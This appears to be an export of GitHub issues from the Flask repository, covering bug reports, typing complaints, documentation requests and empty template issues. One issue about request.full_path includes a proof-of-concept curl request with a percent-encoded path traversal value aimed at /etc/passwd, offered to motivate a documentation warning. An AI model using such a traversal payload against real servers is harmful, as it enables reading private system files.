The obvious problem is that it is a breaking change to the signatures of all these methods. I'm unsure how many methods are affected, but I'm also unsure how many projects are even subclassing `Flask` to override any of the methods. The fact that the methods are public seems unintentional, compared to the much more common ways of configuring and customizing an app.

We could continue to support both signatures, showing a deprecation warning for the old one, by adding some detection to `Flask.__init__`. This would add some amount of time during app setup, but wouldn't affect runtime performance of the app.

---

Another idea I had for the future was to have `@route` and other decorators inspect the signature of the decorated function, to allow injecting `request`, `app`, etc. if users would rather use that pattern than import the proxies. Having the request object directly available in a... [TRUNCATED]",,2025-09-13T18:19:56Z,2025-11-17T16:49:54Z,6
pallets/flask,3372901713,3.1.2 regression: `stream_with_context` triggers `teardown_request()` calls before response generation,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
GitHub Discussions or the Pallets Discord for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

<!--
Describe the expected behavior that should have happened but didn't.
-->
Hello,

I believe the changes to `stream_with_context()` in https://github.com/pallets/flask/pull/5799/commits/9822a0351574790cb66c652fcc396ad7aa2b09d8 introduced a bug where the `teardown_request()` callables are invoked too early in the request/response lifecycle (and actually invoked twice, before generating the response and a second time after the end of the request). Take the following example:

```python
# flask_teardown_stream_with_context.py
from flask import Flask, g, stream_with_context


def _teardown_request(_):
    print(""do_teardown_request() called"")
    g.pop(""hello"")


app = Flask(__name__)

app.teardown_request(_teardown_request)


@app.get(""/stream"")
def streamed_response():
    g.hello = ""world""

    def generate():
        print(""Starting to generate response"")
        yield f""<p>Hello {g.hello} !</p>""

    return stream_with_context(generate())


app.run(debug=True)
```

In 3.1.1:

```
% /tmp/venv/bin/flask --version           
Python 3.13.7
Flask 3.1.1
Werkzeug 3.1.3
% /tmp/venv/bin/python flask... [TRUNCATED]",,2025-09-01T14:24:02Z,2026-01-25T03:54:29Z,8
pallets/flask,3368604275,`flask.testing` misleadingly appears to import `TestResponse`,"`testing.py` contains the following:
```python
if t.TYPE_CHECKING:  # pragma: no cover
    from werkzeug.test import TestResponse
```
As such, any IDE or static checker will consider this to be valid code:
```python
import flask.testing as _flask_test

def my_test_helper(flask_test_client: _flask_test.FlaskClient) -> _flask_test.TestResponse:
    ...
```

However, at runtime, this code will fail, because `TestResponse` is not actually imported into the `flask.testing` namespace.

Possible solutions:
- Move `from werkzeug.test import TestResponse` outside the `if t.TYPE_CHECKING` block; you're already importing `werkzeug.test` in that file anyway
- Remove `from werkzeug.test import TestResponse` entirely and replace `TestResponse` with `werkzeug.test.TestResponse` in type-hints
- Change `from werkzeug.test import TestResponse` to `from werkzeug.test import TestResponse as _TestResponse`; the leading underscore signals marks the import as private, at which point it doesn't matter if its really imported or not because nobody should be using it from outside the file
",,2025-08-30T01:20:49Z,2025-08-30T02:04:17Z,2
pallets/flask,3286622145,Test,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
GitHub Discussions or the Pallets Discord for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

<!--
Describe the expected behavior that should have happened but didn't.
-->

Environment:

- Python version:
- Flask version:
",,2025-08-03T03:15:59Z,2025-08-03T03:16:18Z,0
pallets/flask,3276294392,Session is not updated on redirect target endpoint in tests,"Hello team.
During writing tests, I noticed a strange session behavior.

I want to verify that after a redirect, the target location sets valid session properties, and it seems like in tests, the session properties when following redirects are not saved/exposed to the test environment.

Here's an example:
```python
import pytest
from flask import Flask, redirect, session

@pytest.fixture
def app():
    app = Flask(__name__)
    app.debug = True
    app.secret_key = 'test_secret'  # noqa: S105 – fake secret key for testing purposes

    @app.get('/redirect')
    def do_redirect():
        print(""Redirecting to target endpoint"", flush=True)
        session[""redirected""] = ""true""
        return redirect('/target', 302)

    @app.get('/target')
    def target():
        print(""Target endpoint reached"", flush=True)
        session['foo'] = 'bar'
        return 'Target', 200

    return app

@pytest.fixture()
def client(app):
    return app.test_client()

def test_session(client):
    with client:
        response = client.get(""/redirect"", follow_redirects=True)

        print(f""Session after a redirect: {session.items()}"", flush=True)
        assert response.status_code == 200
        assert response.data == b""Target""

        assert session.get(""redirected"") == ""true""
        assert session.get('foo') == 'bar'

        client.get(""/target"", follow_redirects=True)
        assert session.get('foo') == 'bar'
        assert response.data == b""Target""
        print(f""Session after a d... [TRUNCATED]",,2025-07-30T09:18:04Z,2025-08-18T16:56:49Z,1
pallets/flask,3271475553,"Add a ""Scroll to Top"" Button for Long Documentation Pages","Some pages in the Flask documentation—such as [API](https://flask.palletsprojects.com/en/stable/api/) and [Configuration Handling](https://flask.palletsprojects.com/en/stable/config/)—are very long, requiring users to manually scroll all the way back up to access the top navigation links.

Adding a persistent ""Scroll to Top"" button (e.g. fixed to the bottom-left corner) would enhance usability by making navigation easier for users reading on smaller screens or mobile devices. This is a common accessibility and UX pattern on many documentation sites and could improve the overall reading experience.

This proposal does not affect Flask’s core library—it’s a suggestion for the documentation site UI only. I’m happy to help with a pull request if the maintainers are open to the addition.",,2025-07-28T22:48:31Z,2025-07-31T18:47:19Z,0
pallets/flask,3235106841,Looser type annotations for send_file() path_or_file argument,"`path_or_file` argument of `flask.helpers.send_file` is typed as `os.PathLike[t.AnyStr] | str | t.BinaryIO`. This prevents passing some objects that are `t.IO[bytes]`, but not `t.BinaryIO`. The underlying`werkzeug.utils.send_file` already allows `t.IO[bytes]` due to pallets/werkzeug#2209 since version 2.0.2.


Reproduction:
```python
from tempfile import NamedTemporaryFile
from typing import IO

from flask.helpers import send_file


# The return type cannot be ""BinaryIO"" because ""NamedTemporaryFile"" is incompatible with it according to Mypy.
def some_function() -> IO[bytes]:
    file = NamedTemporaryFile()
    ...
    return file


file = some_function()
send_file(file)
```

Raises the following exception with Mypy 1.16.1.
```
error: Argument 1 to ""send_file"" has incompatible type ""IO[bytes]""; expected ""PathLike[str] | str | BinaryIO""  [arg-type]
```

I could simply change the return value of `some_function` to `_TemporaryFileWrapper[bytes]` or cast it to `BinaryIO`.
However, I would like to allow `t.IO[bytes]`.

Side note: `_TemporaryFileWrapper[bytes]` conforms to `PathLike[str]` due to python/typeshed#7840. That is why it is accepted by `flask.helpers.send_file`.

Allowing `t.IO[bytes]` would be backwards compatible change as all `t.BinaryIO` are also `t.IO[bytes]`.
[Mypy Playground](https://mypy-play.net/?mypy=latest&python=3.10&gist=4d7e2a43a847df9d332f5b7daba7a9fe)

Environment:

- Python version: 3.12.11
- Flask version: 3.1.1
",,2025-07-16T09:06:28Z,2025-08-18T17:26:25Z,0
pallets/flask,3233706509,`stream_with_context` does not work with async routes,"Consider this trivial route + test in `app.py`:

```python
import flask
from flask import Flask
from flask import Response

import pytest

app = Flask(__name__)


@app.route(""/foo"")
async def foo():
    def gen():
        yield ""bar""

    return Response(flask.stream_with_context(gen()))


def test_foo():
    with app.test_client() as client:
        client.get(""/foo"")
```

With the following `requirements.txt`:

```
flask[async]==3.1.1
pytest==8.4.1
werkzeug==3.1.3
```

Running `pytest app.py` results in:

```
============================= test session starts ==============================
platform darwin -- Python 3.12.11, pytest-8.4.1, pluggy-1.6.0
rootdir: /private/tmp/stream_with_context
collected 1 item

app.py F                                                                 [100%]

=================================== FAILURES ===================================
___________________________________ test_foo ___________________________________

    def test_foo():
        with app.test_client() as client:
>           client.get(""/foo"")

app.py:20:
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
venv/lib/python3.12/site-packages/werkzeug/test.py:1162: in get
    return self.open(*args, **kw)
           ^^^^^^^^^^^^^^^^^^^^^^
venv/lib/python3.12/site-packages/flask/testing.py:235: in open
    response = super().open(
venv/lib/python3.12/site-packages/werkzeug/test.py:1116: in open
    response_parts = self.run_wsgi_app(request.environ, buffe... [TRUNCATED]",async,2025-07-15T21:08:57Z,2025-08-19T15:24:06Z,3
pallets/flask,3215359249,Flask documentation website does not support dark mode,"**Describe the issue**
The official Flask documentation at https://flask.palletsprojects.com currently does not support dark mode. For many developers, especially those working at night or with light sensitivity, this can create accessibility and eye strain issues.

**Expected behavior**
It would be helpful if the documentation site could support an optional dark theme, either by detecting system preferences (prefers-color-scheme) or allowing manual switching.

**Additional context**
Many popular frameworks like: 
- Django
- FastAPI
- Pydantic
- Typer
have added dark mode support in their docs, improving readability and user comfort.",,2025-07-09T10:11:48Z,2025-07-09T14:22:24Z,2
pallets/flask,3206684889,Tt,"<!--
Replace this comment with a description of what the feature should do.
Include details such as links to relevant specs or previous discussions.
-->

<!--
Replace this comment with an example of the problem which this feature
would resolve. Is this problem solvable without changes to Flask, such
as by subclassing or using an extension?
-->
",,2025-07-06T15:33:57Z,2025-07-06T15:34:55Z,0
pallets/flask,3166579056,document that `request.full_path` leaves query string percent encoded,"WHAT IS THE BUG?

`request.full_path` is documented as *“Requested path as unicode, including the query string.”*  
However, Werkzeug URL-unquotes only the **path** (before “?”); the **query string** is returned **raw**.  
Code that searches or whitelists on `full_path` can therefore be bypassed by percent-encoding a slash inside a parameter.

----------------------------------------------------------------------------------------------------------------

HOW TO REPLICATE

```
```python
from flask import Flask, request
app = Flask(__name__)

@app.route(""/show_picture"")
def show_picture():
    # naïve traversal filter
    if ""../"" in request.full_path:
        return ""Blocked"", 400
    return f""full_path = {request.full_path}"", 200

# run:  flask --app poc run


# bypass: ""../"" hidden as ""%2F""
curl ""http://127.0.0.1:5000/show_picture?img=..%2F..%2Fetc%2Fpasswd""
Result → 200 OK; the filter misses the traversal because ../ appears as ..%2F.
```

----------------------------------------------------------------------------------------------------------------


EXPECTED BEHAVIOR
Documentation (and the full_path docstring) should warn clearly:

""Only the portion before “?” is URL-unquoted. The query string is returned raw; unquote it manually (e.g. urllib.parse.unquote_plus) before using it for validation or filtering.""

Without that notice, filters like

if ""../"" in request.full_path:
    ...
if request.full_path.startswith(""/admin""):
    ...

can be bypassed with %2F inside the qu... [TRUNCATED]",docs,2025-06-23T02:47:18Z,2025-06-23T17:09:27Z,1
pallets/flask,3131076310,404 Flask cannot find /security/login API,"We are using airflow 2.8.4, and recently we upgrade it to 2.10.5

### Environment for Airflow 2.8.4

- Python version: 3.10
- Flask version: 

```
Flask-AppBuilder==4.3.11
Flask-Babel==2.0.0
Flask-Bcrypt==1.0.1
Flask-Caching==2.1.0
Flask-JWT-Extended==4.6.0
Flask-Limiter==3.5.1
Flask-Login==0.6.3
Flask-SQLAlchemy==2.5.1
Flask-Session==0.5.0
Flask-WTF==1.2.1
Flask==2.2.5
```

Call /security/login API:

<img width=""1541"" alt=""Image"" src=""https://github.com/user-attachments/assets/ef976819-1ac1-4bd6-b84b-3ceab844a998"" />


### Environment for Airflow 2.10.5

- Python version: 3.10
- Flask version: 

```
Flask-AppBuilder==4.5.2
Flask-Babel==2.0.0
Flask-Bcrypt==1.0.1
Flask-Caching==2.3.0
Flask-JWT-Extended==4.7.1
Flask-Limiter==3.10.1
Flask-Login==0.6.3
Flask-SQLAlchemy==2.5.1
Flask-Session==0.5.0
Flask-WTF==1.2.2
Flask==2.2.5
```

Call /security/login API:

<img width=""1552"" alt=""Image"" src=""https://github.com/user-attachments/assets/e6ca32db-cb56-49e6-a266-8edb82e8d0b2"" />


Error Log:
```
{
  ""detail"": ""The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again."",
  ""status"": 404,
  ""title"": ""Not Found"",
  ""type"": ""about:blank""
}
```

/security/login API in  Flask-AppBuilder==4.5.2

https://github.com/dpgaspar/Flask-AppBuilder/blob/v4.5.2/flask_appbuilder/security/api.py#L32

/security/login API in  Flask-AppBuilder==4.3.11

https://github.com/dpgaspar/Flask-AppBuilder/blob/v4.3.11/flask_appbuilder/security/api.py#L32",,2025-06-09T18:18:08Z,2025-06-09T18:33:22Z,1
pallets/flask,3131059951,Flask cannot find /security/logic API,"We are using airflow 2.8.4, and recently we upgrade it to 2.10.5

Environment for Airflow 2.8.4

- Python version: 3.10
- Flask version: 

```
Flask-AppBuilder==4.5.2
Flask-Babel==2.0.0
Flask-Bcrypt==1.0.1
Flask-Caching==2.3.0
Flask-JWT-Extended==4.7.1
Flask-Limiter==3.10.1
Flask-Login==0.6.3
Flask-SQLAlchemy==2.5.1
Flask-Session==0.5.0
Flask-WTF==1.2.2
Flask==2.2.5
```

Call /security/logic API:

<img width=""1541"" alt=""Image"" src=""https://github.com/user-attachments/assets/ef976819-1ac1-4bd6-b84b-3ceab844a998"" />


Environment for Airflow 2.10.5

- Python version: 3.10
- Flask version: 

```
Flask-AppBuilder==4.3.11
Flask-Babel==2.0.0
Flask-Bcrypt==1.0.1
Flask-Caching==2.1.0
Flask-JWT-Extended==4.6.0
Flask-Limiter==3.5.1
Flask-Login==0.6.3
Flask-SQLAlchemy==2.5.1
Flask-Session==0.5.0
Flask-WTF==1.2.1
Flask==2.2.5
```

Call /security/logic API:

<img width=""1552"" alt=""Image"" src=""https://github.com/user-attachments/assets/e6ca32db-cb56-49e6-a266-8edb82e8d0b2"" />
",,2025-06-09T18:11:05Z,2025-06-09T18:13:39Z,1
pallets/flask,3112547502,"Typing mismatch between Flask and Werkzeug ""Response"" objects","There is an odd typing issue where Werkzeug `Response` != Flask `Response`. Please see below:

```python
from flask import Response, redirect, url_for

def foo() -> Response:
    return redirect(url_for(""some.route""))
```

This example returns:

```
basedpyright: Type ""Response"" is not assignable to return type ""Response""                                
  ""werkzeug.wrappers.response.Response"" is not assignable to ""flask.wrappers.Response"" [reportReturnType]
```

Environment:

- Python version: 3.13
- Flask version: 3.1.1
",,2025-06-03T06:07:09Z,2025-06-03T11:18:10Z,1
pallets/flask,3093866878,MAX_FORM_MEMORY_SIZE not being picked up correctly,"## ISSUE
Setting app.config[""MAX_FORM_MEMORY_SIZE""] = VALUE
does not have any effect on the actual configuration and the default 500000 bytes from werkzeug request is stilled used


## REPLICATION
Setup a minimum flask project

app = Flask(__name__)
app.config[""MAX_FORM_MEMORY_SIZE""] = 1024 * 1024 * 1024

print(app.request_class.max_form_memory_size)

## MISSBEHAVIOUR
I would expect if I set the MAX FORM MEMORY SIZE in my config it is properly applied and I can send requests with a content length appropriate to the setting but flask defaults to 500kb

Environment:

- Python version:  3.11
- Flask version: 2.3.3
",,2025-05-27T13:03:43Z,2025-05-27T13:35:07Z,1
pallets/flask,3089006130,Model Context Protocol (MCP) Support for Flask,"## Feature Request: Model Context Protocol (MCP) Support for Flask

### Description

This feature request proposes adding native support for the Model Context Protocol (MCP) to Flask. MCP is an open protocol that enables secure connections between host applications and AI model providers, allowing for standardized communication patterns in AI-powered applications.

**Key aspects of MCP integration would include:**
- Built-in MCP server capabilities for Flask applications
- Middleware for handling MCP message routing
- Authentication and authorization mechanisms for MCP connections
- WebSocket and HTTP transport support as per MCP specification
- Integration with Flask's existing request/response cycle

**Relevant links:**
- [Model Context Protocol Specification](https://modelcontextprotocol.io/introduction)
- [MCP GitHub Repository](https://github.com/modelcontextprotocol/python-sdk)

### Problem Statement

Currently, developers who want to build AI-powered Flask applications that communicate via MCP must implement the protocol manually or rely on third-party libraries. This creates several challenges:

1. **Boilerplate Code**: Developers need to write significant boilerplate to handle MCP message formatting, routing, and transport
2. **Inconsistent Implementation**: Without standardized Flask integration, different projects implement MCP differently
3. **Security Concerns**: Manual implementation may miss important security considerations built into the MCP spec
4. **Mainten... [TRUNCATED]",,2025-05-25T03:21:12Z,2025-05-25T03:57:26Z,3
pallets/flask,3076570590,Allow multiple template folders for large projects,"
Jinja2 supports multiple search paths for templates so Flask should do the same. This will allow template inheriting without copying files.


https://github.com/pallets/jinja/blob/main/src/jinja2/loaders.py#L190
",,2025-05-20T10:48:36Z,2025-05-20T12:18:26Z,3
pallets/flask,3056108555,The `template_filter` decorator doesn't work if you don't pass an argument,"## What's the issue?

You can use `template_filter` as a decorator, but it only registers the filter if you write an explicit name or an empty set of parentheses. If you call it without parens, the filter doesn't get registered.

It's a small difference and can be confusing.

## Minimal example

Consider the following program:

```python
from flask import Flask, render_template_string


app = Flask(__name__)


@app.template_filter
def double(x):
    return x * 2


@app.route(""/"")
def index():
    return render_template_string(""2 times 2 is {{ 2 | double }}"")
```

If you run this app (`flask run --port 8008 --debug`) and then open it in your browser (`http://localhost:8008`) you'll get an error:

```
jinja2.exceptions.TemplateAssertionError: No filter named 'double'.
```

This is confusing, and it took me a while to realise the missing parentheses in `app.template_filter` were at fault.

## Suggested fix

I think it would be helpful if the decorator either:

* Supported being called without parentheses, or
* Printed an explicit warning if called this way, e.g. `Did you use 'template_filter' as a decorator without parentheses? You need to call it with 'template_filter()'`

This is caught by type checkers, but not everybody type checks their Python and the error message is less obvious:

```
Argument 1 to ""template_filter"" of ""App"" has incompatible type ""Callable[[Any], Any]""; expected ""str | None""
```

I've had a look at the relevant code, and I'd be happy to provide a patch if... [TRUNCATED]",,2025-05-12T08:33:00Z,2025-08-19T19:36:01Z,9
pallets/flask,3054331685,Adding Architecture Diagram Contribution,"Hello maintainers!
I've created an architecture diagram that visualizes Flask's core components and their relationships. This visualization could help new contributors understand the codebase structure and assist users in grasping Flask's high-level architecture.

![Image](https://github.com/user-attachments/assets/143025cf-6094-4c19-93f5-ac06bfa59738)

[Flask Architecture Diagram on Kloudfarm.io](https://app.kloudfarm.io/share/379c2674f0b240c387a5135690c8f01c8c18a988878e99846fb36ea18ad7e1ef)
The diagram shows:
- Core Flask classes and relationships
- Request/response lifecycle
- Extension integration points
- Blueprint organization

I'd be happy to:

1. Submit a PR to add this to documentation
2. Provide different file formats
3. Create more focused diagrams of specific subsystems

Would this be a helpful addition to the project? Open to any feedback or suggestions.
Thanks!",,2025-05-10T16:22:17Z,2025-05-10T16:45:20Z,1
pallets/flask,3010815835,Ihmuukin_ai,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
GitHub Discussions or the Pallets Discord for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

<!--
Describe the expected behavior that should have happened but didn't.
-->

Environment:

- Python version:
- Flask version:
",,2025-04-22T11:37:28Z,2025-04-22T11:40:56Z,0
pallets/flask,2991805037,"Recommend Warning and Safer Defaults for url_for(..., _external=True)","Hi Flask team,

We recently analyzed several Flask-based applications and noticed a recurring security concern related to url_for(..., _external=True) when used in untrusted request contexts. Specifically, since it uses request.host by default to construct the external URL, applications that do not explicitly configure SERVER_NAME or sanitize headers can be vulnerable to host header injection.

To improve developer awareness and reduce misuse, we suggest: Add a warning to the url_for documentation about the risk of relying on request.host, and recommend the use of SERVER_NAME or trusted_hosts when generating external URLs.

We’d be happy to help draft the relevant documentation or contribute a pull request if this direction aligns with the maintainers' goals.

Best regards,
Rui Yang and Zhengyu Liu
Johns Hopkins University
",docs,2025-04-14T03:53:08Z,2025-08-18T18:47:07Z,5
pallets/flask,2982932759,close resources before reload (option --reload),"I have a Flask application that establishes connections to multiple SQLite databases.  When the local development server (werkzeug) is started with option ``--reload`` the connections are not closed on reload, since Python 3.13 this is also logged with a [ResourceWarning](https://docs.python.org/3/whatsnew/3.13.html#sqlite3):

    ResourceWarning: unclosed database in <sqlite3.Connection object at ...>

Since the application (since each thread) establishes various DB connections, the (debug) log is flooded with such warnings during development.

I am aware that the DB connectors can be closed when the context is [torn down](https://flask.palletsprojects.com/en/stable/patterns/sqlite3/), but this is not desired. The DB connections should be open over the entire lifetime of the server (thread).

And the problem is not limited to sqlite3, in general, it would be better to close resources before reloading the modules.

Is there perhaps a hook or another chance with which it would be possible to close open resources?


-----

*I placed it here as a feature-request .. may we better move this issue to werkzeug?*",,2025-04-09T14:00:37Z,2025-04-09T15:00:53Z,1
pallets/flask,2974784657,Reference cycle caused by exception handling,"A reference cycle is introduced by Flask's exception handling mechanism. Specifically, the exception object retains a reference to the stack frame, which in turn holds a reference back to the exception. This creates a reference cycle between the traceback and the exception instance.

This becomes particularly problematic in applications where the garbage collector is disabled (gc.disable()). Even when the GC is enabled, this cycle puts unnecessary pressure on memory management.

The issue originates from the following line in the Flask source code: https://github.com/pallets/flask/blob/9225f8bb28d291b1610c8a58e3233aa6bbdc1808/src/flask/app.py#L1507

The fix is simple: the reference to the exception object should be explicitly released once it is no longer needed.

A minimal reproducible example demonstrating this issue can be found here:
👉 https://github.com/tomasz-pankowski/exception-memory-leak/tree/main

Environment:

- Python version: any
- Flask version: 3.1.0 (earlier ones too)
",,2025-04-06T08:05:19Z,2025-04-07T18:00:31Z,0
pallets/flask,2963518337,Jija2 security vulnerability,"There is a security vulnerability reported for Jinja2 https://github.com/advisories/GHSA-cpwx-vrp4-4pq7

Solution is to update the Jinja2 version to 3.1.6


Environment:

- Python version: latest
- Flask version: latest
",,2025-04-01T13:49:09Z,2025-04-01T13:51:03Z,1
pallets/flask,2931388650,'pkgutil.get_loader' is removed from Python 3.14,"Per What's new in Python 3.14:
> Remove deprecated pkgutil.get_loader() and pkgutil.find_loader(). These had previously raised a DeprecationWarning since Python 3.12. (Contributed by Bénédikt Tran in gh-97850.)

It manifests in flask's tests: 

```
______________ ERROR at setup of test_prefix_package_paths[True] _______________

request = <SubRequest 'limit_loader' for <Function test_prefix_package_paths[True]>>
monkeypatch = <_pytest.monkeypatch.MonkeyPatch object at 0x7f1fe6cb9b70>

    @pytest.fixture(params=(True, False))
    def limit_loader(request, monkeypatch):
        """"""Patch pkgutil.get_loader to give loader without get_filename or archive.
    
        This provides for tests where a system has custom loaders, e.g. Google App
        Engine's HardenedModulesHook, which have neither the `get_filename` method
        nor the `archive` attribute.
    
        This fixture will run the testcase twice, once with and once without the
        limitation/mock.
        """"""
        if not request.param:
            return
    
        class LimitedLoader:
            def __init__(self, loader):
                self.loader = loader
    
            def __getattr__(self, name):
                if name in {""archive"", ""get_filename""}:
                    raise AttributeError(f""Mocking a loader which does not have {name!r}."")
                return getattr(self.loader, name)
    
>       old_get_loader = pkgutil.get_loader
E       AttributeError: module 'pkgutil' has no attribut... [TRUNCATED]",,2025-03-19T11:08:53Z,2025-03-29T22:45:22Z,4
pallets/flask,2904905724,flask.__init__.__getattr__ can hide typing errors,"admittedly this is a bit of an edge case -- but perhaps if the `__getattr__` pattern is implemented next time for deprecations this can be taken into consideration!

I have an unfortunately-named bit in my webapp called ""flash"" and I've used flask for years and my fingers tend to typo one as the other.

I had a file like this (simplified!):

```python
import flask

flask.FlashMessage
```

which is obviously wrong -- flask doesn't have a `FlashMessage`!  but it was passing mypy due to `def __getattr__(name: str) -> t.Any:` in `__init__.py`

it _might_ be better to guard that behind a `if not t.TYPE_CHECKING: ...` block such that mypy doesn't pick that up and lead to misleading results

not a big deal though and I see that the `__getattr__`  is already removed in mainline

another idea would be to use `@overload` on `__getattr__` such that it only allows the particular Literals? but it looks like mypy doesn't even support that so nevermind! https://github.com/python/mypy/issues/8203#issuecomment-1670344931


Environment:

- Python version: 3.13.1
- Flask version: 3.1.0
",,2025-03-08T16:56:50Z,2025-03-29T22:28:33Z,3
pallets/flask,2893981206,Is flask still being maintained?,"Is flask still being maintained, I see the git was updated 2 month back, can I still use flask for my new project?",,2025-03-04T11:47:03Z,2025-03-04T12:07:01Z,2
pallets/flask,2889352385,Error using sample code in favicon documentation,"The code sample gives the assert `view_func is not None, ""expected view func if endpoint is not provided.""`.

Documentation in question: https://flask.palletsprojects.com/en/stable/patterns/favicon/

Sample code in question:
```
app.add_url_rule('/favicon.ico',
                 redirect_to=url_for('static', filename='favicon.ico'))
```",docs,2025-03-02T06:04:51Z,2025-03-29T22:32:36Z,1
pallets/flask,2889340570,Inaccurate documentation for adding a favicon redirect,"The code sample in the existing documentation on how to redirect a favicon request assumes that add_url_rule takes a parameter named redirect_to. It does not.

Documentation in question: https://flask.palletsprojects.com/en/stable/patterns/favicon/

Sample code in question:
```
app.add_url_rule('/favicon.ico',
                 redirect_to=url_for('static', filename='favicon.ico'))
```",,2025-03-02T05:29:12Z,2025-03-02T05:32:32Z,3
pallets/flask,2859813656,How to solve,"```python
response = {
        ""status"": ""ok"",
        ""message"": ""Success"",
        ""response"": url
    }
    return jsonify(response)
```

In this getting output like this 

```json
{""message"": ""success"", ""response"": url, ""status"": ""old""}
```

How to solve that getting incorrect output

I need this like

```
{
        ""status"": ""ok"",
        ""message"": ""Success"",
        ""response"": url
    }
```

How to solve ",,2025-02-18T09:21:49Z,2025-02-18T09:28:00Z,1
pallets/flask,2839542482,Admin endpoint seems to be reserved,"```python
@app.route(""/admin/<password>/<int:page>"", methods=[""GET""])
def admin(password: str, page: int = 1) -> Any:
    print(page)
    files, total = [], 2
    return render_template(""admin.html"", files=files, password=password, total=total)
```

This fails when page is 1,2,3 or 8.

At least. it might fail in more cases.

If page is 4 or 5, 9,  etc, it works.

By works I mean, it uses the actual argument instead of the default: 1

I'm guessing the admin endpoint is being reserved in some way, but should it?

If I replace 'admin' to 'pok' for example:

`@app.route(""/pok/<password>/<int:page>"", methods=[""GET""])`

Then it works as expected.


Environment:

- Python version: 3.13.1
- Flask version: 3.1.0",,2025-02-08T04:41:55Z,2025-02-08T05:02:48Z,2
pallets/flask,2814791757,Custom commands not listed,"When I run the `flask` command by itself I get help output with all of my custom commands listed. But when I run `flask --help` I get the help output with only the built-in flask commands (`routes`, `run`, `shell`). I am using the `FLASK_APP` environment variable to load the app.

I would think I should get the same help output (showing my custom commands) whether or not I add the `--help` parameter?

Environment:

- Python 3.12.2
- Flask 3.1.0",cli,2025-01-28T06:57:24Z,2025-03-29T22:15:26Z,7
pallets/flask,2783017466,"int route converters are actually uint, but not documented as such","In #2643, a user noted that flask routes with an `int` converter only accepts unsigned integers.

I'll summarize a few different opinions and options in that thread:
1. a user can create their own converter that accepts unsigned integers, or modifies the existing converter (but only on their codebase). An example code snippet was provided in the issue.
2. The user's report could be treated as a bug in the `int` converter, so the fix would be to modify the flask `int` converter to accept the other ~50% of legitimate integers. Assumptions were made about which part of the integer space most people would use. Concerns were raised about how users may be relying on this bug, and that it should not be fixed for fear of breaking said users.
3. The user's report could be treated as a bug in the documentation, so a presumed fix would be to amend [the documentation](https://flask.palletsprojects.com/en/stable/api/#url-route-registrations) which currently states ""The following converters are available: [...] `int`: accepts integers""; it could be changed to ""`int`: accepts _unsigned_ integers"".

My expectation would have been that either option 2 or 3 would be selected, but instead it appears that the issue was locked to further comment and no further action was taken. So, the documentation is still at odds with the behavior of flask vs the math and computer science definition of integer. I'm not wedded to either solution, but would the pallets team be open to implementing a fix i... [TRUNCATED]",,2025-01-13T04:57:35Z,2025-01-13T07:22:53Z,2
pallets/flask,2780334619,ok,"<!--
Replace this comment with a description of what the feature should do.
Include details such as links to relevant specs or previous discussions.
-->

<!--
Replace this comment with an example of the problem which this feature
would resolve. Is this problem solvable without changes to Flask, such
as by subclassing or using an extension?
-->
",,2025-01-10T14:36:15Z,2025-01-10T14:48:44Z,0
pallets/flask,2779636063,Consider supporting HOT reload with `hmr`?,"Hot Module Replacement has been existed in JavaScript ecosystem for a long time, but Python web applications are still using full reloads by default.

To solve this situation, I implemented the `hmr` package, which does the fine-grained dependency tracking, on-demand reloading jobs. Here is a demo of what the results look like:

https://github.com/user-attachments/assets/7937d1c2-ed41-4f38-be18-9cc29b9961a1

Obviously the `a.py` runs everytime in `flask run --reload` but reloads only when needed in `hmr app.py`. But everything else works fine (at least for this small demo)

You may say that user should use lazy imports and cache expensive calculations themselves, but in fact not every function can be cached, and lazy imports may lead to ugly code style. This can be solved with on-demand hot reloading without overhead. So I believe this is the future.

Although this is just a minimal demo, but I value hmr's potential in the Python ecosystem, and believe that with our efforts this is a reachable goal.

> [!TIP]
> You can try the example above [here](https://github.com/promplate/hmr/tree/readme/examples/flask) with `hmr app.py`

---

About `hmr`, you can refer to its [README](https://github.com/promplate/hmr) for details.
",,2025-01-10T08:58:37Z,2025-01-10T09:02:03Z,3
pallets/flask,2768023460,intersphinx broken for flask.Flask.cli,"https://flask.palletsprojects.com/en/stable/api/#flask.Flask.cli has a type of `Group`, but it doesn't link to further docs.",,2025-01-03T18:51:42Z,2025-01-08T21:04:29Z,2
pallets/flask,2762231352,Containerization,Hello  team I am planning to containerized the entire flask framework using docker so whenever user needs to work on the project they can able to run entire framework just by running docker container so can i work on this feature. ,,2024-12-29T12:29:29Z,2024-12-29T13:19:44Z,3
pallets/flask,2761768824,Design Enhancement,"Hello team, planning to develop flask documentation with web interface with great and clean UI, also trying to make the concept more simple and understandable can you assign me this task.",,2024-12-28T15:14:44Z,2024-12-28T15:36:53Z,1
pallets/flask,2735080519,app.run(debug=True)，会导致flask_sqlalchemy错误!,"开启debug模式后，debug=Ture的时候，flask_sqlalchemy的with self.app.app_context()会重复执行。
例如我写入一条数据 {user:""123"",name:""youname""}, 在debug模式下 with self.app.app_context() 会执行完写入完毕后，会重新执行一次，导致程序退出，提示重复写入！
我以为是我代码问题，我检查了无数次，都无法找到我代码问题，最后关闭debug模式后，就可以正常使用。

复现办法：
app.py:
app.run(debug=True)

model.py：
pass

userdb.py:
        with self.app.app_context():
            new_user = userdbmodel(userdb)(user='11eee',
                                           name=input(""input"")
                                           )
            userdb.session.add(new_user)
            userdb.session.commit()

会出现两次input输入，之后会提示重复后程序停止。





目前只要把app.run(debug=True)改为app.run(debug=False)，例如：
app.py:
app.run(debug=False)
就只会执行一次，不会报错。",,2024-12-12T07:26:31Z,2024-12-12T15:52:07Z,0
pallets/flask,2733402466,Mypy error when accessing flask.request.json,"I use mypy to validate my project, I upgraded from flask 2 to flask 3 and now I see plenty of errors when I try to access the json property or flask.request

I just have a top level

import flask

Then:

j = flask.request.json  # ""Request"" has no attribute ""json""

